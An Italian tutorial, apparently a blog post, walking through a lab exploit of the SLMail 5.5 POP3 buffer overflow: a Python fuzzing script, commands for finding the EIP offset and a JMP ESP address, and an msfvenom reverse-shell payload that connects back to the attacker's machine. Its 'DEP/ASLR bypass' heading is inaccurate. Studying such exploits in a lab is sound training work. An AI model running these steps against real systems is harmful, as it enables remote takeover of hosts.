Salta al contenuto principale

Exploit di un Buffer Overflow in un Servizio Windows (SLMail)

Inviato da tuxsa il
buffer

Strumenti necessari:

  • Immunity Debugger (Windows)

  • Kali Linux (per generare l’exploit)

  • Mona.py (plugin per Immunity Debugger)

  • Metasploit Framework

Procedura dettagliata:

Fase 1: Configurazione dell'ambiente

  1. Setup della macchina Windows vulnerabile (es. Windows XP SP3 con SLMail 5.5 installato).

  2. Avviare Immunity Debugger e allegarlo al processo SLMail (POP3).

Fase 2: Fuzzing e identificazione del crash

  • Usare un Python script per inviare payload crescenti al servizio POP3 (porta 110):

  • import socket
  • target = "192.168.1.100"
    port = 110
  • buffer = "A" * 2700  # Payload crescente per causare un crash
  • s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send("USER test\r\n")
    s.send("PASS " + buffer + "\r\n")
    s.close()
  • Verificare in Immunity Debugger dove si verifica il crash (registri sovrascritti, EIP controllabile).

    Fase 3: Controllo dell’EIP

  • Usare pattern_create.rb (in Kali) per generare una stringa univoca:

    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

    inviare il pattern e usare Mona per trovare l’offset:

    !mona findmsp

    Identificare l’offset esatto per sovrascrivere EIP.

  • Fase 4: Bypass delle protezioni (DEP/ASLR)

  • Trovare un JMP ESP nel modulo non protetto (es. SLMFC.DLL):

    !mona jmp -r esp -m SLMFC.DLL

  • Usare shellcode generato con msfvenom:

    msfvenom -p windows/shell_reverse_tcp LHOST=<Kali-IP> LPORT=4444 -b "\x00\x0a\x0d" -f python

  • Costruire il payload finale e inviarlo per ottenere una reverse shell.

Rubrica